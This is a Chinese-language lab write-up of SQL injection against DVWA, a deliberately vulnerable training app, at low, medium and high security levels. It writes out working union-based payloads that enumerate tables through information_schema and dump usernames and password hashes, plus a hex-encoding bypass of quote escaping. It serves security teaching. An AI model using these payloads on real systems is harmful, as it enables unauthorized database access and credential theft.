DVWA之sql注入漏洞复现
一、实验环境
一台win10电脑,既做服务器端,也是客户端。
二、实验原理
攻击者通过对服务器端注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
三、实验步骤
low级别
(1)登录dvwa,设置等级为low
- 第一步,判断是否存在注入,是字符型还是数字型
输入1’尝试
提示1周围出现多个单引号
故猜测sql查询语句为:
- 猜测sql语句总共查询字段数(利用order by子句)
(1)根据猜测的sql查询语句来构造
注:# 注释掉sql语句后面引号
(2)输入构造语句
输入1’ or 1=1 order by 2
输入1’ or 1=1 order by 3
显示无第三列,所以猜测只有两个字段firstname以及secondname。
- 确定字段顺序
输入1’union select 1,2#
得到first_name在前,surname在后
- 获取数据库名
注:利用database()函数和联合查询union
输入得:
由此可看得数据库名为dvwa
- 获取表名,和字段名
利用mysql自带得表名存储表information_schema.tables
输入1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
注:结果两列利用group_concat合并
同理利用1′union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#
得:
- 获得所有字段数据
输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
得到:
分析源码:
medium级别
(2)设置等级为medium
表单变成了可选项,目的是为了让用户在规定范围内选择,防止sql注入,但是我们可以利用burpsuit抓包,修改相应参数来达到sql注入。
- 判断是字符型注入还是数字型
修改参数为 2’ or 333=333 #
返回页面,说明存在字符转义函数
试试数字型注入
成功爆出其他行数据,说明存在数字型注入
总结:存在数字型注入且服务器代码存在字符转义
- 推出sql语句中字段数,和字段顺序
继续利用order by子句
返回结果:first_name被排序说明第一个字段为first_name
继续以第二列排序,结果显示其surname被排序说明第二列为surname
继续排序第三行,发现无第三行说明只有两行且前字段为first_name,后字段为surname
猜测sql语句为:
SELECT first_name, last_name FROM 表名 WHERE user_id = $id
- 获取数据库名,以此获得表名
返回结果显示表名为dvwa
- 利用数据库名获取表名
返回结果显示有两个表guestbook,users
- 获取表内字段名,因为存在字符转义所以将’users’改为十六进制0x7573657273:
返回界面显示了所有字段名
- 获取用户名密码
返回界面成功显示
- 源码分析:
high级别
(2).high级别
- 分析源码
构造下列语句:
1’ or 1=1#
得到:
user_id = ‘1’ or 1=1#’ LIMIT 1;
成功注释掉limit 1,下面注入步骤和上述相同